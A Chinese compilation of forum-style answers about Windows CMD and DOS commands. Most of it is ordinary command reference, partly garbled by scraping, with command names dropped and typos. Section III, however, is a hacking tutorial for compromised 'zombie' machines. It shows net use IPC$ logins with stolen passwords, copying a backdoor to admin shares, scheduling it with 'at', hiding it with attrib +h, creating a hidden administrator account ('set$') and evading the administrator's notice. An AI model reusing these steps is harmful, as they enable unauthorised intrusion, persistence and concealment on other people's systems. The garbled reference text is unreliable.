Ⅰ XP SP3下cmd中help命令怎么用
主要是你的系统里面没有help.exe,我给你传一个 ，Vista中也是一样的
Ⅱ 求所有CMD的指令
DOS命令集-回忆DOS命令集-回忆（一）MD——建立子目录 1．功能：创建新的子目录 2．类型：内部命令 3．格式：MD[盘符：][路径名]〈子目录名〉 4．使用说明： （1）“盘符”：指定要建立子目录的磁盘驱动器字母，若省略，则为当前驱动器； （2）“路径名”：要建立的子目录的上级目录名，若缺省则建在当前目录下。 例：（1）在C盘的根目录下创建名为FOX的子目录；（2）在FOX子目录下再创建USER子目录。 C：、＞MD FOX （在当前驱动器C盘下创建子目录FOX） C：、＞MD FOX 、USER （在FOX 子目录下再创建USER子目录） （二）CD——改变当前目录 1．功能：显示当前目录 2．类型：内部命令 3．格式：CD[盘符：][路径名][子目录名] 4．使用说明： （1）如果省略路径和子目录名则显示当前目录； （2）如采用“CD、”格式，则退回到根目录； （3）如采用“CD.。”格式则退回到上一级目录。 例：（1）进入到USER子目录；（2）从USER子目录退回到子目录；（3）返回到根目录。 C:、＞CD FOX 、USER（进入FOX子目录下的USER子目录） C:、FOX、USER＞CD.。 （退回上一级根目录） C：、FOX＞CD、 （返回到根目录） C：、＞ （三）RD——删除子目录命令 1．功能：从指定的磁盘删除了目录。 2．类型：内部命令 3．格式：RD[盘符：][路径名][子目录名] 4．使用说明： （1）子目录在删除前必须是空的，也就是说需要先进入该子目录，使用DEL（删除文件的命令）将其子目录下的文件删空，然后再退回到上一级目录，用RD命令删除该了目录本身； （2）不能删除根目录和当前目录。 例：要求把C盘FOX子目录下的USER子目录删除，操作如下： 第一步：先将USER子目录下的文件删空； C、＞DEL C：、FOX、USER、*。* 第二步，删除USER子目录。 C、＞RD C：、FOX、USER （四）DIR——显示磁盘目录命令 1．功能：显示磁盘目录的内容。 2．类型：内部命令 3．格式：DIR [盘符][路径][/P][/W] 4． 使用说明：/P的使用；当欲查看的目录太多，无法在一屏显示完屏幕会一直往上卷，不容易看清，加上/P参数后，屏幕上会分面一次显示23行的文件信息，然后暂停，并提示；Press any key to continue /W的使用：加上/W只显示文件名，至于文件大小及建立的日期和时间则都省略。加上参数后，每行可以显示五个文件名。 PATH——路径设置命令 1．功能：设备可执行文件的搜索路径，只对文件有效。 2．类型：内部命令 3．格式：PATH[盘符1]目录[路径名1]{[；盘符2：]，〈目录路径名2〉…} 4．使用说明： （1）当运行一个可执行文件时，DOS会先在当前目录中搜索该文件，若找到则运行之；若找不到该文件，则根据PATH命令所设置的路径，顺序逐条地到目录中搜索该文件； （2）PATH命令中的路径，若有两条以上，各路径之间以一个分号“；”隔开； （3）PATH命令有三种使用方法： PATH[盘符1：][路径1][盘符2：][路径2]…（设定可执行文件的搜索路径） PATH：（取消所有路径） PATH：（显示目前所设的路径） （六）TREE——显示磁盘目录结构命令 1．功能：显示指定驱动器上所有目录路径和这些目录下的所有文件名。 2．类型：外部命令 3．格式：TREE[盘符：][/F][》PRN] 4．使用说明： （1）使用/F参数时显示所有目录及目录下的所有文件，省略时，只显示目录，不显示目录下的文件； （2）选用＞PRN参数时，则把所列目录及目录中的文件名打印输出。 （七）DELTREE——删除整个目录命令 1．功能：将整个目录及其下属子目录和文件删除。 2．类型：外部命令 3．格式：DELTREE[盘符：]〈路径名〉 4．使用说明：该命令可以一步就将目录及其下的所有文件、子目录、更下层的子目录一并删除，而且不管文件的属性为隐藏、系统或只读，只要该文件位于删除的目录之下，DELTREE都一视同仁，照删不误。使用时务必小心！！！ 五、磁盘操作类命令 （一）formAT——磁盘格式化命令 1．功能：对磁盘进行格式化，划分磁道和扇区；同时检查出整个磁盘上有无带缺陷的磁道，对坏道加注标记；建立目录区和文件分配表，使磁盘作好接收DOS的准备。 2．类型：外部命令 3．格式：formAT〈盘符：〉[/S][/4][/Q] 4．使用说明： （1）命令后的盘符不可缺省，若对硬盘进行格式化，则会如下列提示：WARNING:ALL DATA ON NON ——REMOVABLE DISK DRIVE C:WILL BE LOST ！ Proceed with format (Y/N)？ （警告：所有数据在C盘上，将会丢失，确实要继续格式化吗？） （2）若是对软盘进行格式化，则会如下提示：Insert mew diskette for drive A; and press ENTER when ready… （在A驱中插入新盘，准备好后按回车键）。 （3）选用[/S]参数，将把DOS系统文件IO.SYS 、MSDOS.SYS及COMMAND.COM复制到磁盘上，使该磁盘可以做为DOS启动盘。若不选用/S参数，则格式化后的磙盘只能读写信息，而不能做为启动盘； （4）选用[/4]参数，在1.2MB的高密度软驱中格式化360KB的低密度盘； （5）选用[/Q]参数，快速格式化，这个参数并不会重新划分磁盘的磁道貌岸然和扇区，只能将磁盘根目录、文件分配表以及引导扇区清成空白，因此，格式化的速度较快。 （6）选用[/U]参数，表示无条件格式化，即破坏原来磁盘上所有数据。不加/U，则为安全格式化，这时先建立一个镜象文件保存原来的FAT表和根目录，必要时可用UNFORRMAT恢复原来的数据。 （二）UNformAT恢复格式化命令 1．功能：对进行过格式化误操作丢失数据的磁盘进行恢复。 2．类型：外部命令 3．格式：UNformAT〈盘符〉[/L][/U][/P][/TEST] 4．使用说明：用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区（包括FAT、根目录、BOOT扇区及硬盘分区表）受损时，也可以用UNformAT来抢救。 （1）选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息，但不会真的做formAT工作。 （2）选用/P参数将显示于屏幕的报告（包含/L参数所产生的信息）同时也送到打印机。运行时屏幕会显示：“Print out will be sent to LPT1” （3）选用/TEST参数只做模拟试验（TEST）不做真正的写入动作。使用此参数屏幕会显示：“Simulation only” （4）选用/U参数不使用MIRROR映像文件的数据，直接根据磁盘现状进行UNformAT。 （5）选用/PSRTN；修复硬盘分区表。 若在盘符之后加上/P、/L、/TEST之一，都相当于使用了/U参数，UNformAT会“假设”此时磁盘没有MIRROR映像文件。 注意：UNformAT对于刚formAT的磁盘，可以完全恢复，但formAT后若做了其它数据的写入，则UNformAT就不能完整的救回数据了。UNformAT并非是万能的，由于使用UNformAT会重建FAT与根目录，所以它也具有较高的危险性，操作不当可能会扩大损失，如果仅误删了几个文件或子目录，只需要利用UNDELETE就够了。 三） CHKDSK——检查磁盘当前状态命令 1．功能：显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。 2．类型：外部命令 3．格式：CHKDSK [盘符：][路径][文件名][/F][/V] 4．使用说明： （1）选用[文件名]参数，则显示该文件占用磁盘的情况； （2）选[/F]参数，纠正在指定磁盘上发现的逻辑错误； （3）选用[/V]参数，显示盘上的所有文件和路径。 （四）DISKCOPY——整盘复制命令 1．功能：复制格式和内容完全相同的软盘。 2．类型：外部命令 3．格式：DISKCOPY[盘符1：][盘符2：] 4．使用说明： （1）如果目标软盘没有格式化，则复制时系统自动选进行格式化。 （2）如果目标软盘上原有文件，则复制后将全部丢失。 （3）如果是单驱动器复制，系统会提示适时更换源盘和目标盘，请操作时注意分清源盘和目标盘。 （五）LABEL——建立磁盘卷标命令 1．功能：建立、更改、删除磁盘卷标。 2．类型：外部命令 3．格式：LABEL[盘符：][卷标名] 4．使用说明： （1）卷标名为要建立的卷标名，若缺省此参数，则系统提示键入卷标名或询问是否删除原有的卷标名； （2）卷标名由1至11个字符组成。 （六）VOL——显示磁盘卷标命令 1．功能：查看磁盘卷标号。 2．类型：内部命令 3．格式：VOL[盘符：] 4．使用说明：省略盘符，显示当前驱动器卷标。 （七）SCANDISK——检测、修复磁盘命令 1．功能：检测磁盘的FAT表、目录结构、文件系统等是否有问题，并可将检测出的问题加以修复。 2．类型：外部命令 3．格式：SCANDISK[盘符1：]{[盘符2：]…}[/ALL] 4．使用说明： （1）CCANDISK适用于硬盘和软盘，可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘； （2）可自动检测出磁盘中所发生的交*连接、丢失簇和目录结构等逻辑上的错误，并加以修复。 （八）DEFRAG——重整磁盘命令 1．。功能：整理磁盘，消除磁盘碎块。 2．类型：外部命令 3．格式：DEFRAG[盘符：][/F] 4．使用说明：选用/F参数，将文件中存在盘上的碎片消除，并调整磁盘文件的安排，确保文件之间毫无空隙。从而加快读盘速度和节省磁盘空间。 （九）SYS——系统复制命令 1．功能：将当前驱动器上的DOS系统文件IO.SYS,MSDOS.SYS和COMMAND.COM 传送到指定的驱动器上。 2．类型：外部命令 3．格式：SYS[盘符：] *使用说明：如果磁盘剩余空间不足以存放系统文件，则提示：No roomfor on destination disk. 文件操作类命令 （一） COPY文件复制命令 1．功能：拷贝一个或多个文件到指定盘上。 2．类型：内部命令 3．格式：COPY [源盘][路径]〈源文件名〉[目标盘][路径][目标文件名] 4．使用说明： （1）COPY是文件对文件的方式复制数据，复制前目标盘必须已经格式化； （2）复制过程中，目标盘上相同文件名称的旧文件会被源文件取代； （3）复制文件时，必须先确定目标般有足够的空间，否则会出现；insufficient的错误信息，提示磁盘空间不够； （4）文件名中允许使用通配举“*”“？”，可同时复制多个文件； （5）COPY命令中源文件名必须指出，不可以省略。 （6）复制时，目标文件名可以与源文件名相同，称作“同名拷贝”此时目标文件名可以省略； （7）复制时，目标文件名也可以与源文件名不相同，称作“异名拷贝”，此时，目标文件名不能省略； （8）复制时，还可以将几个文件合并为一个文件，称为“合并拷贝”，格式如下：COPY；[源盘][路径]〈源文件名1〉〈源文件名2〉…[目标盘][路径]〈目标文件名〉； （9）利用COPY命令，还可以从键盘上输入数据建立文件，格式如下：COPY CON [盘符：][路径]〈文件名〉； （10）注意：COPY命令的使用格式，源文件名与目标文件名之间必须有空格！ （二）XCOPY——目录复制命令 1．功能：复制指定的目录和目录下的所有文件连同目录结构。 2．类型：外部命令 3．格式：XCOPY [源盘：]〈源路径名〉[目标盘符：][目标路径名][/S][/V][/E] 4．使用说明： （1）XCOPY是COPY的扩展，可以把指定的目录连文件和目录结构一并拷贝，但不能拷贝隐藏文件和系统文件； （2）使用时源盘符、源目标路径名、源文件名至少指定一个； （3）选用/S时对源目录下及其子目录下的所有文件进行COPY。除非指定/E参数，否则/S不会拷贝空目录，若不指定/S参数，则XCOPY只拷贝源目录本身的文件，而不涉及其下的子目录； （4）选用/V参数时，对的拷贝的扇区都进行较验，但速度会降低。 （三）TYPE——显示文件内容命令 1．功能：显示ASCII码文件的内容。 2．类型：内部命令。 3．格式：TYPE[盘符：][路径]〈文件名〉 4．使用说明： （1）显示由ASCII码组成的文本文件，对。EXE.COM等为扩展名的文件，其显示的内容是无法阅读的，没有实际意义2； （2）该命令一次只可以显示一个文件的内容，不能使用通配符； （3）如果文件有扩展名，则必须将扩展名写上； （4）当文件较长，一屏显示不下时，可以按以下格式显示；TYPE[盘符：][路径]〈文件名〉|MORE，MORE为分屏显示命令，使用些参数后当满屏时会暂停，按任意键会继续显示。 （5）若需将文件内容打印出来，可用如下格式： TYPE[盘符：][路径]〈文件名〉，＞PRN 此时，打印机应处于联机状态。
Ⅲ 入门DOS命令
大家在入侵时,一定会用到DOS命令的,它的功能非常的强大.今天我就对常用的DOS命令作个详细的解说.主要是给刚入门者和接触DOS命令少的朋友看的.下面我挑几个比较常用的给大家说说.
以windows2000为例,windows xp类同.
DIR
显示当前盘下的所有文件夹和文件.
比较常用的方法是,你上传一个后门或服务端(这儿比如名字叫systems.exe)到肉鸡的c:\winnt\system32下,你想看看有没有上传成功.可以用DIR命令看一下. 命令如下 :
DIR c:\winnt\system32\systems.exe
则会显示:
2004-05-24 20:06 194,762 systems.exe
1 个文件 194,762 字节
0 个目录 4,658,597,888 可用字节
如果你没有上传成功,则显示如下:
驱动器 C 中的卷没有标签。
卷的序列号是 6458-3DB8
c:\winnt\system32\的目录
找不到文件
CD
改变当前目录
具体看一下下面的命令:
C:\>cd winnt //进入winnt文件夹
C:\winnt>cd system32 //进入system32 文件夹
C:\winnt\system32>cd.. //回到上一级目录
C:\winnt>cd..
C:\>
C:\>d: //进入D盘
D:\>e: //进入E盘
E:\>
del和deltree
DEL:删除文件.
看下面的命令:
C:\>del c:\xx\ww.txt //删除C盘的XX目录下的名叫WW的文件.
C:\>
C:\>del c:\xx\*.* //删除C盘的XX目录下所有文件
deltree
这个更具有破坏性,不但能删除所有文件,连文件夹也删除
C:\>deltree c:\winnt //删除C盘下的winnt所有文件和文件夹.
这个大家要小心使用.
attrid
显示和更改文件或文件夹属性.
文件或文件夹的属性有 隐藏,用字母H表示. 只读,用R表示. 存档,用A表示. 系统,用S表示
改变一个文件或文件夹属性, " + " 表示增加, " - ",表示去掉某个属性.
平时我们都把后门或服务端到上传肉鸡的c:\winnt\system32下.在进入了肉鸡的CMD以后,为了更加的不让肉鸡管理员知道,我们可以把你上传的隐藏起来.比如还是上面的systems.exe
命令如下:
C:\>attrid +h c:\winnt\system32\systems.exe //这样在system32下就找不到systems.exe
C:\>attrid -h c:\winnt\system32\systems.exe //去掉systems.exe的隐藏属性
复制一个或多个文件到其它目录
比如你把C盘下一个叫1.txt文件复制到D盘的vv文件夹下,
C:\> c:\1.txt d:\vv\1.exe
比如你和肉鸡建立了IPC$连接(如何连接?以后会讲的),而且肉鸡开放了共享,这里比如开放了D盘.你可以把你C盘下的一个叫systems.exe的后门或服务端上传肉鸡的D盘下,命令如下:
C:\> c:\systems.exe \\肉鸡IP\d$
type
显示文件内容
我现在在我的C盘的XX目录下新建一个叫hack.txt的文件,内容是一些台湾的IP
命令如下:
C:\>type c:\xx\hack.txt
序号 开始IP地址 结束IP地址 国家/省/直辖市 城市/区县/组织
58 024.179.140.000 024.179.150.255 中国台湾省
80 061.013.000.000 061.013.255.255 中国台湾省
86 061.058.065.000 061.058.070.255 中国台湾省
87 061.059.160.000 061.059.255.255 中国台湾省
89 061.070.100.000 061.070.150.255 中国台湾省
1788 061.217.179.000 061.217.179.255 中国台湾省 台南市
1789 061.216.000.000 061.219.255.255 中国台湾省
1790 061.220.080.000 061.220.150.255 中国台湾省 台北市
1791 061.224.000.000 061.224.255.255 中国台湾省 台北市
1792 061.225.000.000 061.225.255.255 中国台湾省
3390 134.208.000.000 134.208.255.255 中国台湾省
3584 139.175.000.000 139.175.255.255 中国台湾省
3590 140.092.000.000 140.092.255.255 中国台湾省
3593 140.096.000.000 140.096.255.255 中国台湾省
3596 140.112.000.000 140.112.255.255 中国台湾省 台湾大学
C:\>
它还有一个用法,就是在进入肉鸡的CMD以后,看看肉鸡用的是什么操作系统,命令如下,在我电脑操作的结果如下:
C:\>type c:\boot.ini
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft WindowsXP Professional"
/fastdetect
看出来没有?,我用的是XP系统.
这是一些我认为常用的命令,其它的还有rd,md等.你们有兴趣可以找资料看看.平进比较少用.
ping
这个是用的最多的命令.可是现在好像不灵光了.大多数网站和个人电脑用防火墙屏蔽了ping.大多数时候根本是P不通.基本命令:
ping ip
ping 网址
下面P的是本站:
C:\>ping www.hf110.com
Pinging www.hf110.com [218.89.0.231] with 32 bytes of data:
Reply from 218.89.0.231: bytes=32 time=67ms TTL=116
Reply from 218.89.0.231: bytes=32 time=67ms TTL=116
Reply from 218.89.0.231: bytes=32 time=66ms TTL=116
Reply from 218.89.0.231: bytes=32 time=67ms TTL=116
Ping statistics for 218.89.0.231:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 66ms, Maximum = 67ms, Average = 66ms
上面P出本站的IP是218.89.0.231,从TTL=116.大略看出使用的是windows操作系统.一般来说TTL值在128左右的是windows操作系统,值在225左右的,大多数是unix类系统.但是还有特殊情况,管理员可能会通过改注册表来修改TTL值.
net use
在得到肉鸡的用户名和密码这后,可以用这个命令做IPC$连接
net use \\肉鸡ip\ipc$ "密码" /user:"用户名"
连接成功后,上传后门或服务端,(比如叫systems.exe,在你的D盘下).
D:\systems.exe \\肉鸡ip\c$ //这里它要开放共享,你才能上传.否则无法上传成功.
net time \\肉鸡ip //看一下肉鸡的时间,是24小时制.比如这儿是下午3点10分.写作15:10
at \\肉鸡ip 15:12 systems.exe //在15:12分,运行systems.exe
在这儿,你上传的是反弹木马的话,可以等着它来连接你.其实在入侵过程中,有很多的偶然性,比如上面的,你可以IPC连接成功.但是并一定能够通过net time \\肉鸡ip ,看肉鸡时间.就算能看到时间吧,有时肉鸡的at服务并没有打开.就算打开了,但是后门或服务端不一定能够有机会运行,
可能被杀毒软件查杀.所以在入侵过程中,失败是常有的事.这个方法不行,可以另一种.
net user
查看用户或新建一个用户.
这是在我电脑上的截图
C:\>net user
\\BILLGATES 的用户帐户
---------------------------------------------------------------------
Guest guest1 HelpAssistant
SUPPORT_388945a0 yhkj
命令成功完成。
C:\>
上面是我所有的用户.
现在我新建一个setwell的用户,密码是123456, 截图如下
C:\>net user setwell 123456 /add
命令成功完成。
C:\>net localgroup administrators setwell /add //这条命令是加setwell为管理员
命令成功完成。
接下来我们再net user ,载图如下
C:\>net user
\\BILLGATES 的用户帐户
----------------------------------------------------------------
Guest guest1 HelpAssistant
setwell SUPPORT_388945a0 yhkj
命令成功完成。
建立的用户可以用net user命令看到,我们在用户后面加个$,可以小小的隐藏一下.这次建一个叫set的用户,截图如下:
C:\>net user set$ 123456 /add
命令成功完成。
C:\>net localgroup administrators set$ /add
命令成功完成。
C:\>net user
\\BILLGATES 的用户帐户
-----------------------------------------------------------------
Guest guest1 HelpAssistant
setwell SUPPORT_388945a0 yhkj
命令成功完成。
C:\>
看到没有,我们没有看到刚才建立的用户set$,可以用这个命令看,net localgroup administrators ,这个命令的是显示所有的管理员,截图如下:
C:\>net localgroup administrators
别名 administrators
注释 管理员对计算机/域有不受限制的完全访问权
成员
------------------------------------------------------
guest1
set$
setwell
yhkj
命令成功完成。
C:\>
看到没有,我们看到set$这个用户了.
如果要删除用户用这个命令:
C:\>net user setwell /delete
net start
1.启动某些服务
比如: net start telnet //启动telnet服务
2.查看当前启动了什么服务.看看我的电脑启动了什么服务:
C:\>net start
已经启动以下 Windows 服务:
Automatic Updates
COM+ Event System
Cryptographic Services
DHCP Client
Distributed Link Tracking Client
DNS Client
Error Reporting Service
Event Log
Help and Support
IPSEC Services
Logical Disk Manager
Messenger
这只是一部分服务.
net stop
停止某些服务.站长今天也说到了.我不多了.
net share
查看默认共享.也就是查看这些共享C$ D$ e$ f$ admin$ ipc$,这是系统默认的.我的全部关了,我
到肉鸡上截张图吧.
C:\Documents and Settings\Administrator>net share
D$ D:\ 默认共享
F$ F:\ 默认共享
ADMIN$ C:\WINNT 远程管理
C$ C:\ 默认共享
E$ E:\ 默认共享
命令成功完成。
C:\Documents and Settings\Administrator>
这个肉鸡的IPC$共享竟然关了.
net view
也是查看共享,但不是上面的默认共享了,还是来张截图吧.也是肉鸡的,
C:\Documents and Settings\Administrator>net view
服务器名称 注释
-------------------------------------------------------------------------------
\\17
\\HMZ
\\ZGH
命令成功完成。
C:\Documents and Settings\Administrator>
学DOS命令看起来有点烦,其实是挺容易学的.而且学好了,在入侵中,会起到举足轻重的作用.下次讲netstat 等命令.
netstat -an
使用这个命令可以察看到和本机的所有的连接.看一下在我电脑上的截图,
D:\>netstat -an
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING
TCP 0.0.0.0:1029 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5000 0.0.0.0:0 LISTENING
TCP 180.254.158.42:139 0.0.0.0:0 LISTENING
TCP 218.95.49.187:2935 218.89.0.231:80 ESTABLISHED
UDP 0.0.0.0:500 *:*
UDP 0.0.0.0:1035 *:*
UDP 0.0.0.0:1037 *:*
UDP 0.0.0.0:1134 *:*
UDP 0.0.0.0:1136 *:*
Proto Local Address Foreign Address State
协议 本地端口及IP地址 远程端口及IP地址 状态
LISTENING 监听状态 表示等待对方连接
ESTABLISHED 正在连接着.
TCP 协议是TCP
UDP 协议是UDP
TCP 218.95.49.187:2935 218.89.0.231:80 ESTABLISHED
这个表示 利用tcp协议 本机ip(218.95.49.187通过端口:2935 和远程ip(218.89.0.231)端口:80连接
query
这个命令只有在开了3389端口(也不一定端口是3389,说不定改成别的端口了.严格讲应是开了远程终端服务)的机子,才能用上.我用1$的用户名上了一台3389机子,看一下截图:
c:\>query user
USERNAME SESSIONNAME ID STATE
administrator console 0 运行中
1$ rdp-tcp#2 1 运行中
看到上面没有,管理员也在,如果你要退出的话,就用如下命令:
logoff ID 这儿是logoff 1.
这是正常退出的.说到退出,还有一个办法,就是在开始---关机---注销1$.如果你用另外的方法退出的话,那么肉鸡在关机时,会出现类如"有一个其它客人登录到这台服务器,如果你退出,对方的会话数据会丢失"一类的话.这样管理员就会发现了.
Ⅳ cmd下的命令有什么做什么的
上课里我们已经学习了不少DOS命令，但那只是很小的一部分，在这课将简要介绍其它一些命令。
首先，在这一节先回忆一下上课的内容，不要学过就忘啊，多使用几次就能记住的。好，开始吧，看你学得怎么样。
cd 改变当前目录 sys 制作DOS系统盘
拷贝文件 del 删除文件
deltree 删除目录树 dir 列文件名
disk 制磁盘 edit 文本编辑
format 格式化磁盘 md 建立子目录
mem 查看内存状况 type 显示文件内容
rd 删除目录 ren 改变文件名
记得多少啊，忘了就去上课看看，下面四个命令是新的，给出命令格式，你自己试试看，学电脑重要的就是摸索。
cls 清屏
〔适用场合〕 屏幕上太乱了，或是屏幕上出现乱码了， 清除屏幕上显示内容但不
影响电脑内部任何信息
〔用 法〕 cls 回车
move 移动文件，改目录名
〔适用场合〕 移动文件到别的目录
〔用 法〕 move [文件名] [目录] 移动文件至新目录下
move [目录名] [目录名] 改目录名
〔例 子〕 c:\>move c:\autoexec.bat c:\old�
移动autoexec.bat文件至old目录下
c:\>move c:\config.sys c:\temp�
移动config.sys文件至old目录下
more 分屏显示
〔适用场合〕 当输出很多一屏显示不下时采用，几乎适合所有命令，尤其是type
等命令时很有用。 使用more时磁盘不能有写保护，也不适合光驱。
〔用 法〕 type [文件名] | more 分屏显示文件内容
more < [文件名] 分屏显示文件内容
〔例 子〕 C:\>type msdos.w40 | more
x 拷贝目录和文件
〔适用场合〕 在进行连同子目录一起拷贝时很有用，在拷贝大量文件时比COPY命令
要快得多
〔用 法〕 x [文件名] [目录] 将指定文件拷贝到指定目录
x [源目录] [目的目录] 将源目录连子目录考到目的目录下
x *.* [目录] /s 将文件与非空子目录拷贝到指定目录
其它常用参数还有: v 拷贝后校验，会影响速度
e 与s 相似，但即使子目录是空的也会拷贝
help
我们已经学习了不少DOS命令，是不是感到记忆起来很困难，其实高手都不记命令的用法，而只是知道某个命令可以解决某个问题，或在哪个场合下该用哪个命令，用时就现查该命令的用法（当然这要求你首先得有一定英文基础，而且知道哪个命令是干啥的，如果都不行没办法，就只好记了，或者学windows吧）
那该怎样查一个命令的用法呢？这就要用到help命令，它可提供所有命令的帮助。
help 帮助
〔适用场合〕 当您想具体了解DOS命令的使用方法时使用
〔用 法〕 help 提供所有DOS命令帮助
help [DOS命令] 提供有关命令的帮助
如果你只大致记得某个命令，可以在提示符后直接输入help命令，然后将出现下面的画面：
将光标移至需查询的命令,回车后可查询到其语法格式，比如 cd 命令吧:
将光标移至<Notes>,回车后可查询到其详细语法及功能的解释；将光标移至<Examples>,回车后可查询到其语法的详细举例，我们常用举例功能，下面是点<Examples>后出现的画面
如你记得是什么命令就好办了，可以按Alt+S键选择"Find"(查找),则会弹出下面的对话框
输入需查找的DOS命令，回车后可立即查询到有关命令的详细信息
attrib|data|lable
attrib 设置文件属性
〔适用场合〕 想对文件做较特殊的处理时
〔用 法〕 attrib 显示所有文件的属性
attrib +r或-r [文件名] 设置文件属性是否为只读
attrib +h或-h [文件名] 设置文件属性是否隐含
attrib +s或-s [文件名] 设置文件属性是否为系统文件
attrib +a或-a [文件名] 设置文件属性是否为归档文件
attrib /s 设置包括子目录的文件在内的文件属性
〔例 子〕 C:\TEST>attrib +r wina20.386
C:\>attrib +h *.* /s� 隐含所有文件
date 显示及修改日期
〔适用场合〕 想知道或修改时间和日期
〔用 法〕 date 显示和改变当前日期
〔例 子〕 C:\>date 09-20-1996� 将日期改为1996年9月20日
C:\>date�
Current date is Tue 08-20-1996
Enter new date (mm-dd-yy):09-20-1996
按月-日-年的顺序修改当前日期 直接按回车键忽略修改日期
lable 设置卷标号
〔适用场合〕 用来为磁盘做个标记
〔用 法〕 label 显示磁盘卷标
label [盘符] [卷标名] 设定指定盘的卷标
〔例 子〕 C:\>label�
Volume in drive C is WANG
Volume Serial Number is 2116-1DD0
volume label (11 characters,Enter for none)?
可以输入卷标，直接回车后
Delete current volume label (Y/N)?
按y删除旧卷标，按n不更改
defrag
defrag 磁盘碎片整理
〔适用场合〕 磁盘读写次数很多，或磁盘使用时间很长了，可能需要使用这条命令
整理磁盘。磁盘碎片并不是指磁盘坏了，而只是由于多次的拷贝和删
除文件后，磁盘使用会很不连贯，致使速度变慢。
〔用 法〕 1. C:\>defrag�
2. 选择要整理的磁盘
3. 电脑分析磁盘状况，然后告诉我们磁盘有多少需整理。按Esc键
4. 选择Optimization Method(磁盘优化方法)，选择“全部优化”
或“仅优化文件”
5. 选择Begin Optimization 开始整理
6. 整理完后，按回车键
7. 按Esc退出。
doskey|fdisk
doskey 调用和建立DOS宏命令
〔适用场合〕 经常需要输入重复的命令时，有非常大的用处
〔用 法〕 doskey
将doskey驻留内存，开辟出缓冲区，以后输入的命令都将保存在缓冲
区中，可以随时调用
doskey [宏命令名]=[命令名]
将宏命令定义为命令，以后输入宏命令，电脑就会执行相应的命令
doskey /reinstall 重新安装doskey
doskey /bufsize= 设置缓冲区的大小
doskey /macros 显示所有doskey宏
doskey /history 显示内存中所有命令
doskey /insert|overstrike 设置新键入的字符是否覆盖旧的字符
〔例 子〕 C:\>DOSKEY�
C:\>dir
C:\> C:\temp\*.* a:
C:\>del c:\temp\*.*
C:\> b:\*.* c:\temp
上述四条命令都已被保存，用光标控制键的上下可以依次选择使用或
修改, 也可以用F7键列出保存的所有命令
C:\>doskey di=dir/w/p� 定义di为宏命令，意思是执行dir/w/p
fdisk 硬盘分区
〔建 议〕 只有硬盘被很利害的病毒感染时，或是一块新硬盘才需要分区，最好
请懂行的人指导。硬盘都需经过低级格式化，分区，格式化三个步骤
才可使用，成品电脑内的硬盘都已经做过这些加工了。
〔用 法〕 输入fdisk后按回车即可进入提示界面
emm386|lh|memmaker
emm386 扩展内存管理
〔建 议〕 这条命令比较复杂，在第五章中系统配置里将详细介绍
lh/loadhigh 将程序装入高端内存
〔适用场合〕 这条命令一般用在autoexec.bat中，当有些软件需要的基本内存很大
时，它会有用
〔用 法〕 lh [程序]
将程序装入高端内存 使用此命令时，config.sys文件中需有下面两
条语句。 device=emm386.exe dos=umb
lh [程序] /l:区号 将程序装入指定的umb区
lh /s 一般是由memmaker专用
〔例 子〕 C:\MOUSE\>lh mouse� 将鼠标驱动程序装入高端内存
memmaker 内存优化管理
〔适用场合〕 这个命令现在已经很少用了，在当年DOS流行时，想玩游戏可少不了
它，它可以腾出许多基本内存供游戏使用，只需安装一次即可
〔用 法〕 1. C:\>memmaker�
2. 回车继续，F3退出
3. 选择手动安装和自动安装，直接回车表示自动安装（回车得了）
4. 选择是否有程序需要扩充内存，可用空格键选择，Yes表示需要，
No不需要，按回车键即可。
5. 程序自动检测硬盘内是否安装了WINDOWS
6. 软驱中若有软盘则应将其取出，然后按回车键，电脑将重新起动
两次，不要中断，只需按回车键。
msd｜undelete
msd 系统检测
〔适用场合〕 用于检查系统信息
〔用 法〕 1. C:\>msd 回车后可见到如下画面，在每个选项旁边加了注解，表
示该按钮的功用
�
2. 选择需查询的项目，比如选第一个Computer,将会弹出一个对话框
显示电脑的一些基本信息。你可以试试其他的选项，看看有什么用。
3. 按Alt+F键激活下拉菜单后, 选择"Exit"项退出。
undelete 恢复被删除的文件
〔适用场合〕 当不小心删错了文件时，它可以用得上。
DOS删除文件时，只是将文件从分配表中去除，在磁盘存储区内将文
件名的第一个字母删除，文件内容并未马上从磁盘中删除，所以能恢
复。
〔用 法〕 undelete 恢复已删除的文件
undelete /all 恢复文件且不再询问是否恢复，
以"#%&-"的顺序为第一个
字母来恢复文件
undelete /list 列可恢复的文件名
undelete /s 可将undelete驻留内存，但几乎没人这样使用
prompt|restore
prompt 设置提示符
〔适用场合〕 当你厌烦了c:\>的提示符或者您想使您的提示符与众不同时，您可以
试一试，非常有趣的DOS命令，可以随时显示时间与日期。
〔用 法〕 prompt $p$g 以当前目录名和>号为提示符，这是最常用的提示符
prompt $t 表示时间 prompt $d 表示日期
prompt $$ 表示$ prompt $q 表示=
prompt $v 表示当前版本 prompt $l 表示<
prompt $b 表示| prompt $h 表示退位符
prompt $e 表示Esc代表的字符 prompt $_ 表示回车换行
〔例 子〕 C:\DOS>prompt wang$g� 将wang>作为提示符
WANG>prompt $t$d$g� 使用时间、日期和>号做为提示符
0:01:07.77Thu 08-29-1996>prompt $p$g�
C:\DOS>
restore 恢复已备份的文件
〔建 议〕 如果以前用backup做过文件备份，则当原文件损坏时可以用它来恢复
文件。
将用backup命令备份的磁盘中的文件恢复到另一磁盘中，备份磁盘中
应有backup.00X和control.00X这两条文件。
〔用 法〕 restore [备份盘符] [目标盘符]
将备份盘上备份文件恢复到指定盘上
restore /s 将备份文件包括子目录都恢复到指定盘上
restore /p 让用户判断是否恢复文件
restore /b:日期 恢复日期以前的文件
restore /a:日期 恢复日期之后的文件
restore /l:时间 恢复时间之前的文件
restore /e:时间 恢复时间之后的文件
restore /m 只恢复上次备份后修改过的文件
restore /n 只恢复上次备份后已删 除的文件
restore /d 只显示要恢复的文件名
〔例 子〕 C:\DOS>restore a: c:�
Insert backup diskette 01 in drive A:
Press any key to continue . . .
